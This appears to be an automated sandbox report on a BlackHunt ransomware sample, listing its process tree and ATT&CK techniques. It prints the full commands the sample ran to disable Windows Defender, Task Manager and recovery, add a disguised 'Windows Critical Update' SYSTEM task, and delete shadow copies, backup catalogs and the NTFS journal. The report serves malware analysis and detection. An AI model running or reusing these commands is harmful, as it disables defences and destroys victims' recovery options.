Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe
"C:\Users\Admin\AppData\Local\Temp\83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4084
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:5096
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:3920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:4916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2276
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:4888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe" /F
  2⤵
  PID:1676
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\83a882899e8eb02e3db104a0143dfdcbda5fc48709b7bc47b24531639b75e244.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2412
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1160
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4324
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4084
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4976
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4480
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1916
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2160
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4256

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:1844

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4960

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:3784

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5820

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4984

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery